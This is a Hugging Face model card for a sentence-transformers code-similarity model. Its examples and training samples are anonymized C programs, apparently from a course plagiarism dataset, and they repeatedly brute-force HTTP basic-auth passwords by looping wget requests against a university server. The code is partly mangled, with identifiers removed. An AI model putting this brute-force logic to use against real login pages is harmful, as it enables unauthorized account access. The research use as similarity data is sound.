printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n \n \n }\n }\n } \n \n} \n"
- "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\nint i,j,k,count=0;\nint total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]='\\0';\n\tstrcpy(c,m);\n\tprintf(\"%s \\n\",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]='\\0';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf(\"%s \\n\",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf(\"ATTEMPT :%d\\n\",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]='\\0';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=\");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf(\"Congratulations!!!!BruteForce Attack Successful\\n\");\n\t\tprintf(\"***********************************************\\n\");\n\t\tprintf(\"The Password is %s\\n\",c2);\n\t\tprintf(\"The Request sent is %s\\n\",a); \n end_time = time();\n total_time = (end_time -start_time);\n total_time /= 1000000000.0;\n printf(\"The Time Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n"
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n#include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\tint , end;\n\tFILE *fp;\n\tint i, j;\n\tchar input;\n\tchar password[30];\n\tint check;\n\n\tfloat total_time;\n\tint number;\n\t = time();\n\n\n\tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error : Failed open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i] = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password) <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var %f / %d = %f\\n\", total_time, number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar url1[255], url2[255], [255];\n\tint rettype;\n\trettype = 0;\n\tstrcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2, \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\tstrcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n"
pipeline_tag: sentence-similarity
library_name: sentence-transformers
SentenceTransformer based on microsoft/unixcoder-base-unimodal
This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.
Model Details
Model Description
- Model Type: Sentence Transformer
- Base model: microsoft/unixcoder-base-unimodal
- Maximum Sequence Length: 512 tokens
- Output Dimensionality: 768 dimensions
- Similarity Function: Cosine Similarity
Model Sources
- Documentation: Sentence Transformers Documentation
- Repository: Sentence Transformers on GitHub
- Hugging Face: Sentence Transformers on Hugging Face
Full Model Architecture
SentenceTransformer(
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
Usage
Direct Usage (Sentence Transformers)
First install the Sentence Transformers library:
pip install -U sentence-transformers
Then you can load this model and run inference.
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-UniXcoder-ST-0")
# Run inference
sentences = [
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n int i,j,k,success;\n char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n \n \n strcpy(str1,"wget --http-user= --http-passwd=");\n strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n strcpy(tempstr,"");\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf("SENDING REQUEST AS %s\\n",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,""); \n strcpy(passwd,"");\n } \n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf("SENDING REQUEST AS %s\\n",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,""); \n \n } \n }\n\n\n\n for(i=0;i<52;i++)\n {\n passwd[0]= chararray[i];\n for(j=0;j<52;j++)\n {\n passwd[1]=chararray[j];\n for(k=0;k<52;k++)\n\t {\n\t passwd[2]=chararray[k];\n\t strcat(tempstr,str1);\n strcat(tempstr,passwd);\n strcat(tempstr,str2);\n printf("SENDING REQUEST AS %s\\n",tempstr);\n success=system (tempstr);\n if (success==0)\n return 1;\n else\n strcpy(tempstr,""); \n\t } \n } \n }\n return 1;\n } \n\nint (int argc, char *argv[])\n {\n char chararray[52],passwd[3];\n int i,success;\n char ch=\'a\';\n\n\n \n int , end; \n = time();\t \n\n for (i=0;i<3;i++)\n {\n passwd[i]=\'\\0\';\n } \n\n\n\n for (i=0;i<26;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n ch=\'A\'; \n for (i=26;i<52;i++)\n {\n chararray[i]= ch;\n\t ch++;\n }\n\n\n\n success=genchkpwd(chararray,passwd);\n printf("\\nPassword is %s\\n",passwd); \n getpid();\n end = time(); \n printf("Time required = %lld msec\\n",(end-)/());\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n',
'\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n end_time = time();\n total_time = (end_time -start_time);\n total_time /= 1000000000.0;\n printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n v[0]=[m]; \n v[1]=\'\\0\';\n v[2]=\'\\0\';\n strcpy(URL,v); \n printf("\\nTesting with password %s\\n",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf("\\nSending the %s\\n",temp3);\n i=system(temp3); \n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken crack the password is %d second\\n\\n",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n for(n=0;n<=51;n++)\n {\n v[0]=[m]; \n v[1]=[n];\n v[2]=\'\\0\';\n strcpy(URL,v); \n printf("\\nTesting with password %s\\n",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf("\\nSending the %s\\n",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken crack the password is %d second\\n\\n",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n for(o=0;o<=51;o++)\n { \n v[0]=[m]; \n v[1]=[n];\n v[2]=[o];\n strcpy(URL,v); \n printf("\\nTesting with password %s\\n",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n printf("\\nSending the %s\\n",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken crack the password is %d second\\n\\n",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n \n \n }\n }\n } \n \n} \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9111, 0.9288],
# [0.9111, 1.0000, 0.9562],
# [0.9288, 0.9562, 1.0000]])
Training Details
Training Dataset
Unnamed Dataset
- Size: 3,081 training samples
- Columns:
sentence_0
,sentence_1
, andlabel
- Approximate statistics based on the first 1000 samples:
sentence_0 sentence_1 label type string string int details - min: 177 tokens
- mean: 436.43 tokens
- max: 512 tokens
- min: 177 tokens
- mean: 421.53 tokens
- max: 512 tokens
- 0: ~99.20%
- 1: ~0.80%
- Samples:
sentence_0 sentence_1 label
#include
#include
#include
#include
#include
#define MSG_FILE "msg"
#define EMAIL_TO "@cs.rmit.edu."
#define TRUE 1
#define FALSE 0
void genLog(char *logFile, const char *URL);
void getPage(const char URL, const char fname);
int getCurTime();
int logDiff(const char logFile, int time);
int isFileExist(const char fname);
void sendMail(const char emailTo, const char subject, const char msgFile
, const char log);
int (int argc, char **argv)
{
int time_var;
char *URL;
int upTime = 0;
char logFile[256];
int logSent = FALSE;
char subject[256];
if (argc != 3)
{
fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");
exit(1);
}
else
{
time_var = atoi(argv[2]);
URL = malloc(strlen(argv[1]));
if (URL)
{
for (;;)
{
if (((int)difftime(upTime, getCurTime()) % time_var == 0)
&& !logSent)
{
strncpy(URL, argv[1], strlen(argv[1]));
genLog(logFile, URL);
...#include
#include
#include
#include
#include
#include
#include
char* joinMe(char* t, char* t2)
{
char* result;
int length = 0;
int j = 0;
int counter = 0;
length = strlen(t) + strlen(t2) + 1;
result = malloc(sizeof(char) * length);
for(j = 0; j {
result[j] = t[j];
}
for(j = strlen(t); j {
result[j] = t2[counter];
counter++;
}
result[length-1] = '\0';
return result;
}
void check(char** smallcmd)
{
int pid = 0;
int status;
if( (pid = fork()) == 0)
{
execvp(smallcmd[0],smallcmd);
}
else
{
while(wait(&status) != pid);
}
}
int (void)
{
int i = 0, j = 0, k = 0;
char** smallcmd;
int count = 0;
FILE *myFile,*myFile2,myFile3;
int compare1;
char myString;
int length = 0;
int start1, end1;
myString = malloc(sizeof(char) * 100);
smallcmd = malloc(sizeof(char *) * 8);
smallcmd[0] = "/usr/local//wget";
smallcm...0
#include
#include
#include
#include
#include
#define MSG_FILE "msg"
#define EMAIL_TO "@cs.rmit.edu."
#define TRUE 1
#define FALSE 0
void genLog(char *logFile, const char *URL);
void getPage(const char URL, const char fname);
int getCurTime();
int logDiff(const char logFile, int time);
int isFileExist(const char fname);
void sendMail(const char emailTo, const char subject, const char msgFile
, const char log);
int (int argc, char **argv)
{
int time_var;
char *URL;
int upTime = 0;
char logFile[256];
int logSent = FALSE;
char subject[256];
if (argc != 3)
{
fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");
exit(1);
}
else
{
time_var = atoi(argv[2]);
URL = malloc(strlen(argv[1]));
if (URL)
{
for (;;)
{
if (((int)difftime(upTime, getCurTime()) % time_var == 0)
&& !logSent)
{
strncpy(URL, argv[1], strlen(argv[1]));
genLog(logFile, URL);
...#include
#include
#include
#include
#include
int ()
{
char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int a=0,b=0,c=0,d,e,count=0;
char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];
char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;
int ,end,t;
= time();
while(sizeof(lc)!=52)
{
temp2[0]=lc[d];
temp2[1]='\0';
d=d+1;
strcpy(p,temp2);
while(sizeof(uc)!=52)
{
temp3[0]=uc[b];
temp3[1]='\0';
b=b+1;
strcpy(q,p);
strcat(q,temp3);
for(e=0;e<52;e++)
{
temp1[0]=gc[e];
temp1[1]='\0';
strcpy(r,q);
strcat(r,temp1);
strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");
strcat(mx,r);
printf("temp3=%s\n",mx);
if(sy...0
#include
#include
#include
#define TRUE 0
()
{
FILE fp;
system("rmdir ./www.cs.rmit.edu.");
char chk[1];
strcpy(chk,"n");
while(1)
{
system("wget -p http://www.cs.rmit.edu./students/");
system("md5sum ./www.cs.rmit.edu./images/.* > ./www.cs.rmit.edu./text1.txt");
if (strcmp(chk,"n")==0)
{
system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt");
system("mkdir ./");
system("mv ./www.cs.rmit.edu./students/index.html ./");
}
else
{
system(" diff ./www.cs.rmit.edu./students/index.html .//index.htmlmail @cs.rmit.edu. ");
system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txtmail @cs.rmit.edu. ");
system("mv ./www.cs.rmit.edu./students/index.html ./");
system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt");
}
sleep(86400);
strcpy(chk,"y");
}
}
- Loss:
BatchAllTripletLoss
Training Hyperparameters
Non-Default Hyperparameters
per_device_train_batch_size
: 16per_device_eval_batch_size
: 16num_train_epochs
: 1fp16
: Truemulti_dataset_batch_sampler
: round_robin
All Hyperparameters
Click to expand
overwrite_output_dir
: Falsedo_predict
: Falseeval_strategy
: noprediction_loss_only
: Trueper_device_train_batch_size
: 16per_device_eval_batch_size
: 16per_gpu_train_batch_size
: Noneper_gpu_eval_batch_size
: Nonegradient_accumulation_steps
: 1eval_accumulation_steps
: Nonetorch_empty_cache_steps
: Nonelearning_rate
: 5e-05weight_decay
: 0.0adam_beta1
: 0.9adam_beta2
: 0.999adam_epsilon
: 1e-08max_grad_norm
: 1num_train_epochs
: 1max_steps
: -1lr_scheduler_type
: linearlr_scheduler_kwargs
: {}warmup_ratio
: 0.0warmup_steps
: 0log_level
: passivelog_level_replica
: warninglog_on_each_node
: Truelogging_nan_inf_filter
: Truesave_safetensors
: Truesave_on_each_node
: Falsesave_only_model
: Falserestore_callback_states_from_checkpoint
: Falseno_cuda
: Falseuse_cpu
: Falseuse_mps_device
: Falseseed
: 42data_seed
: Nonejit_mode_eval
: Falseuse_ipex
: Falsebf16
: Falsefp16
: Truefp16_opt_level
: O1half_precision_backend
: autobf16_full_eval
: Falsefp16_full_eval
: Falsetf32
: Nonelocal_rank
: 0ddp_backend
: Nonetpu_num_cores
: Nonetpu_metrics_debug
: Falsedebug
: []dataloader_drop_last
: Falsedataloader_num_workers
: 0dataloader_prefetch_factor
: Nonepast_index
: -1disable_tqdm
: Falseremove_unused_columns
: Truelabel_names
: Noneload_best_model_at_end
: Falseignore_data_skip
: Falsefsdp
: []fsdp_min_num_params
: 0fsdp_config
: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}fsdp_transformer_layer_cls_to_wrap
: Noneaccelerator_config
: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}deepspeed
: Nonelabel_smoothing_factor
: 0.0optim
: adamw_torchoptim_args
: Noneadafactor
: Falsegroup_by_length
: Falselength_column_name
: lengthddp_find_unused_parameters
: Noneddp_bucket_cap_mb
: Noneddp_broadcast_buffers
: Falsedataloader_pin_memory
: Truedataloader_persistent_workers
: Falseskip_memory_metrics
: Trueuse_legacy_prediction_loop
: Falsepush_to_hub
: Falseresume_from_checkpoint
: Nonehub_model_id
: Nonehub_strategy
: every_savehub_private_repo
: Nonehub_always_push
: Falsegradient_checkpointing
: Falsegradient_checkpointing_kwargs
: Noneinclude_inputs_for_metrics
: Falseinclude_for_metrics
: []eval_do_concat_batches
: Truefp16_backend
: autopush_to_hub_model_id
: Nonepush_to_hub_organization
: Nonemp_parameters
:auto_find_batch_size
: Falsefull_determinism
: Falsetorchdynamo
: Noneray_scope
: lastddp_timeout
: 1800torch_compile
: Falsetorch_compile_backend
: Nonetorch_compile_mode
: Noneinclude_tokens_per_second
: Falseinclude_num_input_tokens_seen
: Falseneftune_noise_alpha
: Noneoptim_target_modules
: Nonebatch_eval_metrics
: Falseeval_on_start
: Falseuse_liger_kernel
: Falseeval_use_gather_object
: Falseaverage_tokens_across_devices
: Falseprompts
: Nonebatch_sampler
: batch_samplermulti_dataset_batch_sampler
: round_robinrouter_mapping
: {}learning_rate_mapping
: {}
Framework Versions
- Python: 3.11.13
- Sentence Transformers: 5.0.0
- Transformers: 4.52.4
- PyTorch: 2.6.0+cu124
- Accelerate: 1.8.1
- Datasets: 3.6.0
- Tokenizers: 0.21.2
Citation
BibTeX
Sentence Transformers
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
BatchAllTripletLoss
@misc{hermans2017defense,
title={In Defense of the Triplet Loss for Person Re-Identification},
author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
year={2017},
eprint={1703.07737},
archivePrefix={arXiv},
primaryClass={cs.CV}
}